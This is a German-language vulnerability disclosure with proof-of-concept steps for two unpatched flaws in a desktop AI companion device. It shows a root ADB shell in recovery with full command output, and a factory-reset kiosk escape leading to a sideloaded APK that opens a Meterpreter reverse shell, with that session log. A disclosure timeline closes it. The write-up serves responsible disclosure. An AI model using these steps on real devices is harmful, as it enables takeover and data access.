Proof of Concept für CVE-2026-36027 und CVE-2026-36028
Der Code 27 3D Companion Hub ist ein physisches Desktop-Gerät, das eine benutzerdefinierte KI-Figur (einen "Codie") als animierten 3D-Begleiter darstellt. Benutzer können beliebige 3D-Modelle hochladen oder erstellen, und multimodale KI ermöglicht es der Figur, ihre Umgebung zu sehen, Tonfall und Körpersprache zu lesen und offene Gespräche zu führen.
Diese Beschreibung behandelt zwei Schwachstellen, die physischen Zugriff auf das Gerät erfordern. Beide wurden gegen den unten aufgeführten Build validiert und sind zum Zeitpunkt der Veröffentlichung nicht gepatcht.
| Feld | Wert |
|---|---|
| Produkt | Code 27 3D Companion Hub |
| Companion Hub UI-Version | 1.2.0 |
| SoC / Board | Rockchip RK3588S (rk3588s_yt921) |
| Betriebssystem | Android 12 |
| Build-ID | SQ3A.220705.003.A1 |
| Vollständiger Fingerabdruck | rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys |
| Build-Typ | userdebug / release-keys |
Die ausgelieferte Firmware ist ein userdebug-Build (sichtbar im Recovery-Banner und in ro.build.display.id). Userdebug-Builds erlauben es, adbd per adb root als root neu zu starten, was eine wesentliche Voraussetzung für die Existenz von CVE-2026-36027 ist.
Ein physisch naher Angreifer kann den Companion Hub in das Android Recovery booten und eine privilegierte ADB-Shell (Root) erlangen (uid=0, SELinux-Kontext u:r:su:s0). Da das Gerät mit einem userdebug-Build ausgeliefert wird, kann adbd per adb root als root neu gestartet werden, was dem Angreifer Lese-/Schreibzugriff auf die Recovery-Umgebung, die Möglichkeit zur Auflistung von Build- und Hardware-Eigenschaften sowie Zugriff auf Recovery-Funktionen (Sideload, Fastboot, Partitionsoperationen) verschafft.
Der erlangte Zugriff erfolgt im Recovery-Ramdisk, nicht in der laufenden Android-Laufzeitumgebung. Beim Testen schlug die Aktion Mount /system im Recovery fehl (libfs_mgr konnte /dev/block/by-name/system nicht öffnen), sodass die Systempartition auf diesem Weg nicht direkt gemountet wurde. Die gebootete Benutzerumgebung mit dem Kiosk und entschlüsselten Benutzerdaten wird in diesem Modus nicht dargestellt.
Dies ist dennoch relevant, da der Root-Zugriff auf die Recovery-Umgebung die Grundlage für die Änderung des persistenten Gerätezustands (z. B. Schreiben auf Partitionen oder Anwenden eines manipulierten Update-Pakets) darstellt, sodass vom Angreifer kontrollierter Code bei einem späteren normalen Neustart ausgeführt werden könnte – was eine dauerhafte Präsenz auf dem aktiven Gerät etabliert.
Mount /system, heben Sie es hervor und bestätigen Sie. Es wird scheinbar fehlschlagen. Das ist erwartet, und der Exploit funktioniert trotzdem. (Das Recovery-Protokoll zeigt, dass libfs_mgr das Öffnen von /dev/block/by-name/system nicht schafft.)PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices
Liste der angeschlossenen Geräte
YGKJ2601921S00193 recovery
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root
adbd wird als root neu gestartet
Zeitüberschreitung beim Warten auf das Gerät abgelaufen
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0
# getprop ro.build.display.id
rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
# getprop ro.product.model
rk3588s_yt921
# getprop ro.build.version.release
12
# ls -la
insgesamt 840
drwxrwxrwt 33 root root 1040__bionic_open_tzdata: konnte keine tzdata finden bei Suche nach Asia/Shanghai!
1970-01-01 00:00 .
drwxrwxrwt 33 root root 1040 1970-01-01 00:00 ..
drwxr-xr-x 2 root root 40 1970-01-01 00:00 acct
drwxr-xr-x 2 root root 40 1970-01-01 00:00 apex
lrwxrwxrwx 1 root root 11 1970-01-01 00:00 bin -> /system/bin
lrwxrwxrwx 1 root root 50 1970-01-01 00:00 bugreports -> /data/user_de/0/com.android.shell/files/bugreports
drwxr-xr-x 2 root root 40 1970-01-01 00:00 cache
drwxr-xr-x 3 root root 0 1970-01-01 00:00 config
lrwxrwxrwx 1 root root 17 1970-01-01 00:00 d -> /sys/kernel/debug
drwxr-xr-x 2 root root 40 1970-01-01 00:00 data
drwxr-xr-x 2 root root 40 1970-01-01 00:00 data_mirror
drwxr-xr-x 2 root root 40 1970-01-01 00:00 debug_ramdisk
lrwxrwxrwx 1 root root 12 1970-01-01 00:00 default.prop -> prop.default
drwxr-xr-x 15 root root 1380 1970-01-01 00:00 dev
lrwxrwxrwx 1 root root 11 1970-01-01 00:00 etc -> /system/etc
lrwxrwxrwx 1 root root 16 1970-01-01 00:00 init -> /system/bin/init
-rwxr-x--- 1 root root 662 1970-01-01 00:00 init.recovery.rk30board.rc
drwxr-xr-x 2 root root 60 1970-01-01 00:00 linkerconfig
drwxr-xr-x 12 root root 4096 1970-01-01 00:00 metadata
drwxr-xr-x 8 root system 160 1970-01-01 00:00 mnt
drwxr-xr-x 2 root root 240 1970-01-01 00:00 odm
drwxr-xr-x 2 root root 60 1970-01-01 00:00 odm_dlkm
-rw-r--r-- 1 root root 0 1970-01-01 00:00 odm_file_contexts
-rw-r--r-- 1 root root 0 1970-01-01 00:00 odm_property_contexts
drwxr-xr-x 2 root root 40 1970-01-01 00:00 oem
drwxr-xr-x 3 root root 260 1970-01-01 00:00 pcba
-rw-r--r-- 1 root root 47253 1970-01-01 00:00 plat_file_contexts
-rw-r--r-- 1 root root 76958 1970-01-01 00:00 plat_property_contexts
drwxr-xr-x 2 root root 40 1970-01-01 00:00 postinstall
dr-xr-xr-x 220 root root 0 1970-01-01 00:00 proc
drwxr-xr-x 2 root root 40 1970-01-01 00:00 product
-rw-r--r-- 1 root root 0 1970-01-01 00:00 product_file_contexts
-rw-r--r-- 1 root root 0 1970-01-01 00:00 product_property_contexts
-rw-r--r-- 1 root root 14023 1970-01-01 00:00 prop.default
drwxr-xr-x 3 root root 60 1970-01-01 00:00 res
drwx------ 2 root root 40 2026-02-03 06:23 root
drwxr-xr-x 2 root root 60 1970-01-01 00:00 sbin
drwxr-xr-x 2 root root 40 1970-01-01 00:00 sdcard
drwxr-xr-x 2 root root 40 1970-01-01 00:00 second_stage_resources
-rw-r--r-- 1 root root 658375 1970-01-01 00:00 sepolicy
drwxr-xr-x 2 root root 40 1970-01-01 00:00 sideload
drwxr-x--x 2 root root 40 1970-01-01 00:00 storage
dr-xr-xr-x 14 root root 0 1970-01-01 00:00 sys
drwxr-xr-x 5 root root 100 1970-01-01 00:00 system
drwxr-xr-x 2 root root 40 1970-01-01 00:00 system_ext
-rw-r--r-- 1 root root 177 1970-01-01 00:00 system_ext_file_contexts
-rw-r--r-- 1 root root 1889 1970-01-01 00:00 system_ext_property_contexts
drwxrwxr-x 2 root shell 40 1970-01-01 00:00 tmp
drwxr-xr-x 3 root root 60 1970-01-01 00:00 vendor
drwxr-xr-x 2 root root 60 1970-01-01 00:00 vendor_dlkm
-rw-r--r-- 1 root root 25441 1970-01-01 00:00 vendor_file_contexts
-rw-r--r-- 1 root root 4395 1970-01-01 00:00 vendor_property_contexts
Ein aus dem Recovery-Menü durchgeführter Werksreset löscht die Userdata-Partition, auf der die Kiosk-Anwendungen installiert sind. Da der Kiosk nicht Teil der Systempartition ist, wird er nach einem Neustart nicht wiederhergestellt, und das Gerät bootet in eine standardmäßige, uneingeschränkte Android-Umgebung (Launcher, Webbrowser, Dateimanager, Einstellungen und andere System-Apps).
Aus dieser uneingeschränkten Umgebung kann ein Angreifer Entwickleroptionen/USB-Debugging wieder aktivieren, eine beliebige APK sideloaden und ausführen, um eine Shell im laufenden Betriebssystem zu erhalten. In Tests führte dies zu einer Meterpreter-Sitzung, die als unprivilegierter Anwendungsbenutzer u0_a79 lief – ein anderer Berechtigungs- und Datenkontext als die Recovery-Root-Shell in CVE-2026-36027, da sie gegen das laufende, gebootete Betriebssystem und nicht gegen die Recovery-Ramdisk läuft. In diesem Zustand eingeschleuster und ausgeführter Code läuft als Teil des normalen Gerätebetriebs und gibt dem Angreifer interaktive Kontrolle über das Gerät und dessen benutzerzugängliches Dateisystem.
Daten löschen / Werksreset hervor und bestätigen Sie den Reset.
[*] Sende Stage (72424 Bytes) an 10.0.0.48
[*] Meterpreter-Sitzung 2 geöffnet (10.0.0.224:8000 -> 10.0.0.48:58094) um 2026-02-20 19:06:47 -0500
meterpreter > getuid
Server-Benutzername: u0_a79
meterpreter > cd /
meterpreter > ls
Auflistung: /
==========
Mode Größe Typ Letzte Änderung Name
---- ---- ---- ------------- ----
040554/r-xr-xr-- 4096 Verz. 2008-12-31 19:00:00 -0500 acct
040554/r-xr-xr-- 480 Verz. 1969-12-31 19:00:03 -0500 apex
040110/--x--x--- 8192 Verz. 2008-12-31 19:00:00 -0500 bin
000000/--------- 0 FIFO 1969-12-31 19:00:00 -0500 bugreports
040000/--------- 4096 Verz. 1969-12-31 19:00:04 -0500 cache
040554/r-xr-xr-- 0 Verz. 1969-12-31 19:00:00 -0500 config
040554/r-xr-xr-- 0 Verz. 1969-12-31 19:00:00 -0500 d
040110/--x--x--- 4096 Verz. 2026-02-03 01:27:34 -0500 data
040000/--------- 120 Verz. 1969-12-31 19:00:04 -0500 data_mirror
040554/r-xr-xr-- 4096 Verz. 2008-12-31 19:00:00 -0500 debug_ramdisk
040554/r-xr-xr-- 1760 Verz. 2026-02-03 01:27:34 -0500 dev
040554/r-xr-xr-- 4096 Verz. 2008-12-31 19:00:00 -0500 etc
100554/r-xr-xr-- 1997584 Date 2008-12-31 19:00:00 -0500 init
100000/--------- 463 Date 2008-12-31 19:00:00 -0500 init.environ.rc
040554/r-xr-xr-- 240 Verz. 1969-12-31 19:00:03 -0500 linkerconfig
040000/--------- 16384 Verz. 2008-12-31 19:00:00 -0500 lost+found
040554/r-xr-xr-- 4096 Verz. 1969-12-31 19:00:04 -0500 metadata
040554/r-xr-xr-- 360 Verz. 1969-12-31 19:00:05 -0500 mnt
040554/r-xr-xr-- 3488 Verz. 2026-01-18 22:15:55 -0500 odm
040554/r-xr-xr-- 3488 Verz. 2026-01-18 22:15:55 -0500 odm_dlkm
040554/r-xr-xr-- 4096 Verz. 2008-12-31 19:00:00 -0500 oem
040554/r-xr-xr-- 4096 Verz. 2008-12-31 19:00:00 -0500 postinstall
040554/r-xr-xr-- 0 Verz. 1969-12-31 19:00:02 -0500 proc
040554/r-xr-xr-- 3488 Verz. 2026-01-18 22:15:55 -0500 product
040776/rwxrwxrw- 3452 Verz. 2026-02-03 01:27:39 -0500 sdcard
040554/r-xr-xr-- 4096 Verz. 2008-12-31 19:00:00 -0500 second_stage_resources
040110/--x--x--- 80 Verz. 1969-12-31 19:00:04 -0500 storage
040554/r-xr-xr-- 0 Verz. 1969-12-31 19:00:02 -0500 sys
040554/r-xr-xr-- 3488 Verz. 2026-01-18 22:15:54 -0500 system
040554/r-xr-xr-- 3488 Verz. 2026-01-18 22:15:55 -0500 system_ext
040554/r-xr-xr-- 3488 Verz. 2026-01-18 22:15:54 -0500 vendor
040554/r-xr-xr-- 3488 Verz. 2026-01-18 22:15:55 -0500 vendor_dlkm
| Datum | Ereignis |
|---|
| 2026-02-17 | Beide Schwachstellen wurden dem Code 27-Team gemeldet und bestätigt. |
| 2026-02-17 | Beide 0-Day-Schwachstellen wurden MITRE gemeldet. |
| 2026-02-18 | Das Code 27-Team besprach einen Lösungsplan, sammelte zusätzliche Informationen und erklärte, dass es behoben werde. |
| 2026-06-15 | MITRE vergibt CVE-2026-36027 und CVE-2026-36028. |
| 2026-06-15 | Code 27 über die Vergabe informiert; erster Kontakt leitet Informationen an das Sicherheitsteam zur Build-Überprüfung weiter. |
| 2026-06-16 | Das Code 27-Sicherheitsteam fordert erneut die vollständigen technischen Details an. |
| 2026-06-17 | Vollständige technische Details werden dem Sicherheitsteam erneut zur Verfügung gestellt. |
| 2026-06-18 | Keine Antwort des Sicherheitsteams. |
| 2026-06-19 | Ein Vertreter von Code 27 erklärt, dass Unternehmen normalerweise 90 Tage zur Behebung von Sicherheitsproblemen haben und dass das Sicherheitsteam bereits informiert sei. Der Vertreter wird darauf hingewiesen, dass die Probleme vor über 120 Tagen gemeldet wurden. Als Frist für die Offenlegung wird der 1. Juli festgelegt. |
| 2026-06-25 | Das Code 27-Sicherheitsteam wird kontaktiert, um die letzte Warnung vor der Frist und der Veröffentlichung zu bestätigen. |
| 2026-06-28 | Code 27 entschuldigt sich, bestätigt die CVE-Identifikatoren und die Frist für die Offenlegung und erklärt, dass vor dem 1. Juli eine öffentliche Mitteilung und ein Link gesendet werden. |
| 2026-07-01 | Code 27 bezüglich des Status der Mitteilung kontaktiert; keine Antwort. |
| 2026-07-02 | Details der nicht gepatchten Schwachstellen veröffentlicht. |